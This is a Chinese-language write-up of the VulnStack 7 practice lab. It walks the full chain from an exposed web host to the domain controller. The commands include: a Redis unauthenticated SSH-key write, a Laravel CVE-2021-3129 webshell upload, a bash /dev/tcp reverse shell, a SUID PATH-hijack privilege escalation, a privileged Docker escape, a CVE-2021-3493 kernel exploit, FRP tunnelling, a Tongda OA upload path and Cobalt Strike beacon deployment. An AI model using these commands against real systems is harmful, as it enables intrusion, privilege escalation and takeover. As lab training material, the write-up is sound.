VulnStack 7 红日靶场实战：从外网到域控的全流程渗透

网络适配器配置

修改 Web1 的网卡配置

将桥接的网卡改为 NAT 和 VMnet2。开启 redis 服务：redis-server /etc/redis.conf。启动 Nginx 服务：/usr/sbin/nginx -c /etc/nginx/nginx.conf。

建议完成此步骤后拍摄快照留存，避免后续错误需重新搭建环境。

修改 Web2 的网卡配置

将桥接的网卡改为 VMnet2 和 VMnet14。确保 Docker 服务运行：sudo service docker start 及 sudo docker start 8e172820ac78。

在攻击机验证 Web1 服务器的 81 端口访问：http://192.168.59.141:81/。

同样建议完成后拍摄快照。

修改 PC1 的网卡配置

将桥接的网卡改为 VMnet2 和 VMnet14。启动通达 OA 需管理员密码：Administrator / Whoami2021。执行 C:\MYOA\bin\AutoConfig.exe。注意关闭防火墙，否则无法访问其 8080 端口。

配置网段

编辑虚拟网络编辑器

点击 VMware 编辑 - 虚拟网络编辑器，进入配置 vmnet 网卡的界面。

vmnet2 网卡

将 vmnet2 网段改为 192.168.52.0/24。

vmnet14 网卡

添加 vmnet14 网卡，网段设置为 192.168.93.0/24。

信息搜集

探测存活主机

使用 nmap 扫描发现存活 IP：

nmap -sn 192.168.59.0/24

发现 IP 地址为 192.168.59.141。

探测端口

对 192.168.59.141 进行常用端口探测，发现敏感端口 22、80、81：

nmap -A 192.168.59.141

Redis 渗透

生成 ssh 私钥

在攻击机中生成一对 RSA 非对称加密密钥，默认在当前用户.ssh 目录下创建私钥文件 id_rsa 和公钥文件 id_rsa.pub。

ssh-keygen -t rsa

查看生成公钥文件

进入.ssh 目录，查询公钥内容：

cat ~/.ssh/id_rsa.pub

写入 Redis 服务器

直接连接未授权 Redis

使用 redis-cli 连接目标：

redis-cli -h 192.168.59.141

写入 SSH 公钥获取服务器权限

通过篡改 Redis 的数据持久化配置，将生成的 SSH 公钥写入到目标系统 root 用户的 SSH 认证文件中，实现免密登录。

config set dir /root/.ssh/
config set dbfilename authorized_keys
set marginl "\n\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC12JKIZTU2nkawSToIfKdy/5AE2reVNoFiD8r9NO6Sd6vkvzQ1JZRa0UcbXBc7sg1C3eLdF0p6i6+fWx6JEFbVtct0y2INdPIv0SumGEp8Hm2FD86kmwm7pcnKg/UqMrEP327yLglLAg++SAVBdAFy+Zxf0U3M1mvj6i3taIMHron8J6eWLI4G4AVinR5rAt9sxjIKvsFcrS7uB1+THd0tvDK4KzFKZ13sBxVyWZWV7Xrz3zNYwakQxlAxFQVcoVA/zebD7v9slUJhIKB0dyi0x+Kd8KUcJfQU8Xm+5J+GBPyxzywxMxIO2HDxSlCmcOOLiI28gRoi5N0du5fxIYJtSPIpKPy/BPHKDMXkXnec946fTFVxQe3jTZFBSt33573GA3cpeA9w1qaqhcLNIVJL9G08UkvUerBkqSqDQu/cP5T8Y6VSc5T8vXYZ9XJr8rQqTQMMB+S3+woeuSdX6pnsR+tPlyKe7AhZTx34JpvbqdVYdArV+2QgOWkXuSrinQk= kali@kali\n\n\n"
save

ssh 连接

使用私钥连接：

ssh [email protected] -i ~/.ssh/id_rsa

查看 Web1 的 Nginx 配置

获取控制权后，查看 Nginx 配置文件，发现 81 端口进行了反向代理（指向 192.168.52.20 的 8000 端口）。这意味着访问 Web1 的 81 端口实际上访问的是 Web2 服务器。

cd /etc/nginx/conf.d/
cat 81.conf

Laravel 渗透（Web2）

本部分渗透需要确保 Web1 和 Web2 虚拟机均处于打开状态。

发现 Laravel

访问 Web1 的 81 端口，发现其为 Laravel 服务：

http://192.168.59.141:81

下载 PoC

使用 GitHub 上的 CVE-2021-3129 漏洞利用脚本：

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

执行 PoC 上传木马

执行 PoC 上传木马，命令如下：

python laravel-CVE-2021-3129-EXP.py http://192.168.59.141:81

输出 webshell 地址：http://192.168.59.141:81/fuckyou.php，密码：pass。

下载哥斯拉

由于 Laravel 的 PoC 较老，建议使用低版本哥斯拉连接：

https://github.com/BeichenDream/Godzilla/releases/tag/v2.96-godzilla

连接哥斯拉

通过 java -jar 启动哥斯拉，添加木马会话（webshell 地址及密码同上）。

发现 Docker 环境

通过 ls -la / 查看根目录，发现 docker 相关文件，说明这是 Docker 环境，需要进行逃逸。 执行 whoami 返回 www-data 用户，需提权并逃逸。

Docker 逃逸（Web2）

利用反弹 shell 交互

Web1 监听 5555 端口

因为哥斯拉无法提供交互式会话，改用反弹 shell 连接。在 Web1 的 ssh 终端开启 5555 端口监听。

哥斯拉（Docker）连接 5555 端口

在 Docker 容器内执行：

bash -c 'exec bash -i &>/dev/tcp/192.168.52.10/5555<&1'

Web1 反弹 shell 成功

此时可在 Web1 的 ssh 终端通过监听 5555 端口连接 Web2 的 Laravel 服务器 docker 环境。

查找 find 权限

在 Docker 容器或 Linux 系统中搜索具有 SUID 权限位的可执行文件：

find / -perm -u=s -type f 2>/dev/null

发现 /home/jobs/shell 文件是一个设置了 SUID 权限的可执行程序，属主为 root。

分析 /home/jobs/shell 文件

file 命令检测

使用 file /home/jobs/shell 查看文件类型，确认为可执行程序。

发现源码文件

检查目录是否存在相关源码文件：ls -l /home/jobs，发现 demo.c 文件。 查看内容：cat /home/jobs/demo.c。该 C 程序通过 setuid(0) 和 setgid(0) 将进程权限提升至 root 身份，并调用 system("ps") 执行系统进程查看命令。

尝试直接执行 shell 程序

执行 shell 程序，确认其执行了 ps 程序，说明 shell 是 demo.c 编译而得。

环境变量提权

命令详解

进行 PATH 环境变量劫持提权攻击，步骤如下：

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/jobs
./shell

• 准备恶意程序：在/tmp 创建名为 ps 的文件，内容为/bin/bash。
• 劫持系统命令路径：将/tmp 添加到 PATH 最前面，优先查找。
• 触发执行并提权：执行 ./shell，因 SUID 位以 root 运行，调用的 ps 实际是我们创建的木马。

实操提权

执行 shell 后输入 id 和 whoami，确认提权成功。

当 ./shell 被执行时，由于设置了 SUID 位，操作系统会创建一个以 root 权限运行的进程。若代码中存在类似 system("ps") 的调用，系统会按照 PATH 顺序查找，找到我们创建的/tmp/ps 并执行，从而继承父进程的 root 权限。

交互式会话

python -c 'import pty; pty.spawn("/bin/bash")'

Docker 逃逸准备

特权模式检测

通过 cat /proc/self/status | grep CapEff 查看能力值。若返回值接近全权限掩码，则确认容器以特权模式运行。

查看分区

通过 fdisk -l 获知宿主机磁盘为/dev/sda。

挂载文件系统

确认特权模式后，在容器内创建临时目录作为挂载点（/ljn）。使用 mount 命令将宿主机的物理磁盘挂载到该目录：

mkdir /ljn
mount /dev/sda1 /ljn

写入 ssh 密钥进行逃逸

跳板机 Web1 生成密钥

在 Web1 生成密钥：ssh-keygen -f ljn。

向 Web2 写入公钥

将密钥写入 /ljn/home/ubuntu/.ssh/authorized_keys 中：

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7Y9r/Uo+SsdzxIT3UV+Q1ESQElsOFaFCd+L50EPvud1X9IID9mNN2vYnAuNRZi/0yAyyAWBUEjeiVHy4Wb0MnTAmR+6y3+cA/AsP2mWTV97nwOxBSdNzpBeCE4K4qzdoFzFxqQXQMmY2ywqkSz0mU880TlN4gvm0IlyI9Nba6n3FPnARhzIrvSCj5GXCd7VCw8zc7SBXP0NUk3hcQHBLYF4Go970beO7fxF5ayBT1pdU76j2pVwdGiL6OhCaI4IiDhkh0qoPpzJamz/wLjyBxEjIgoNs3QmKvboiKkmogBAjzzUEdkp6vVMjzqogmElMvfh9e4hwukJkD4tnbLD0b root@ubuntu' > /ljn/home/ubuntu/.ssh/authorized_keys

Web1 连接 Web2 的 ssh 成功

Web1 使用 ssh -i ljn [email protected] 连接宿主机。需先将 ljn 私钥权限设置为 600：chmod 600 ljn。 此时成功逃逸到 Web2 系统，但用户为 ubuntu，仍需提权。

Web2 提权

CVE-2021-3493 PoC 下载

CVE-2021-3493 是 Linux 内核高危本地权限提升漏洞，主要影响 Ubuntu 系统。可从 GitHub 获取 PoC。

Web2 上创建 PoC 文件

建立 exploit.c 文件，粘贴脚本内容。

编译执行 PoC 提权

使用 GCC 编译器编译并执行：

gcc exploit.c -o exploit_ljn
chmod +x exploit_ljn
./exploit_ljn

提权成功。

Web1 上传 Fscan 探测内网 1

上传 fscan

由于 Web1 是 Linux 系统，将 fscan_arm64 传入 Web1 中。

fscan 探测 192.168.52.0/24 网段

为 fscan_amd64 添加可执行权限，扫描整个 C 类网段：

chmod +x ./fscan_amd64
./fscan_amd64 -h 192.168.52.0/24

分析结果，发现 30 是 Windows 系统，8080 是通达 OA。

FRP 配置第一层反向代理

服务器（KALI 攻击机）

配置文件 frps.ini

FRP 服务端监听端口 7000：

bindPort = 7000

Kali 执行 frps

./frps -c frps.ini

客户端（Web 跳板机）

配置文件 frpc.ini

frp 客户端配置中，[common] 部分指定服务端地址为 192.168.59.128，端口 7000；[socks5] 部分设置类型为 TCP，远程端口 12347，使用 socks5 插件。

[common]
server_addr = 192.168.59.128
server_port = 7000

[socks5]
type = tcp
remote_port = 12347
plugin = socks5

向 Web1 服务器上传 frpc 文件并执行

将配置好的 frpc 上传至 Web1 并执行。

Kali 配置 proxychains

配置/etc/proxychains4.conf 文件，添加 socks5 0.0.0.0 12347。

PC1 渗透（通达 OA 走 FRP 代理）

访问 PC1 的 8080 端口

访问 PC1 的通达 OA 服务（192.168.52.30:8080），需配置 socks5 代理 192.168.59.128:12347。

OA 工具箱渗透

配置代理

选择使用 OA 工具箱渗透，使用前需配置 socks5 代理。

扫描探测

左侧菜单栏中选择通达，输入 URL 地址 http://192.168.52.30:8080/，点击验证，发现存在文件上传安全风险。

写入木马

点击'文件上传'，粘贴冰蝎马的内容并上传：

http://192.168.52.30:8080/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../attach/im/2510/562133777.png

连接冰蝎木马

使用冰蝎工具前需配置 socks5 代理 192.168.59.128:12347。URL 地址及密码（rebeyond）填入后成功连接。

发现第二层内网 192.168.93.0/24

使用 ipconfig 查询 IP 地址，发现另一个网卡 IP 为 192.168.93.20，说明存在第二层内网。

添加路由

此时已拿到 Web1、Web2 和 PC1 的控制权。

Kali 添加路由

route add -net 192.168.52.0 netmask 255.255.255.0 gw 192.168.59.141 eth0

Web1 添加转发功能

sysctl -w net.ipv4.ip_forward=1

Web2 添加路由

route add -net 192.168.59.0 netmask 255.255.255.0 gw 192.168.52.10 eth0

PC1 添加路由

route add 192.168.59.0 mask 255.255.255.0 192.168.52.10

Kali 与 Web2 测试连通性

测试 ping 连通性。

Kali 与 PC1 测试连通性

测试 ping 连通性。

CS 监听 Web1（直连）

创建 https 监听

在 Cobalt Strike 中创建 HTTPS 监听器。

配置 cs 插件 genCrossC2.Win

确保 genCrossC2.Win 目录中的 key 与 CS server 端的 key 值相同。

使用 genCrossC2.Win 生成 linux beacon

genCrossC2.exe 192.168.59.128 10050 ./.cobaltstrike.beacon_keys null Linux x64 ljn-10050.out raw

将 ljn-10050 上传至 Web1 并运行

上传生成的 beacon 文件至 Web1 并执行。

CS 上线 Web1

Web1 上线，内网 IP 地址为 192.168.52.0/24 网段。

CS 上线 Web2（路由）

Web2 上传 beacon

在 Web1 的 beacon 文件目录中启动 HTTP 服务：python3 -m http.server 8888。 Web2 下载 ljn-10050.out。

Web2 运行 beacon

运行 ljn-10050.out。

CS 上线 Web2

CS 成功上线 Web2。

CS 上线 PC1（路由）

CS 创建 10087 监听

添加 cs http beacon 监听

添加监听器，选择 payload 类型（Beacon HTTP），配置回连 IP 和端口。

生成木马 Payload

选择 Windows 可执行文件（Stageless），配置 mooyuan2008 监听器，输出格式为 windows exe，保存为 mooyuan2008-http-x64.exe。

PC1 执行 Beacon

冰蝎上传 beacon 到 PC1

通过冰蝎上传生成的 exe 文件。

冰蝎执行 beacon

执行 mooyuan2008-http-x64.exe。

CS 上线 PC1 的 beacon

CS 上线 PC1

CS 成功上线 PC1。 为防止不稳定，可进行提权操作。

抓取密码

使用 CS 功能抓取密码。

端口扫描

进行内网端口扫描。

域信息搜集

收集域相关信息。

CS 创建 SMB 监听

新建 SMB 监听器，保存后增加 ljn-smb 监听。

CS 上线 DC（PSexec via PC1 smb）

做之前先还原快照或手动打开防火墙，确保环境是原始版本。

CS 上线 PC2（PSexec via DC smb）

利用 SMB 中转会话和 PSexec 上传 DC 域控。

总结

本次渗透展示了从外网到内网的完整攻击链。通过 Redis 未授权访问获取 Web1 权限，利用 Laravel 漏洞和 Docker 逃逸进入内网 1，通过 FRP 搭建代理连通内网 2。随后使用 fscan 探测，结合 Cobalt Strike 上线多主机，最终通过 SMB 和永恒之蓝攻陷域控 DC。涉及信息收集、漏洞利用、提权、横向移动及内网穿透等关键技术环节。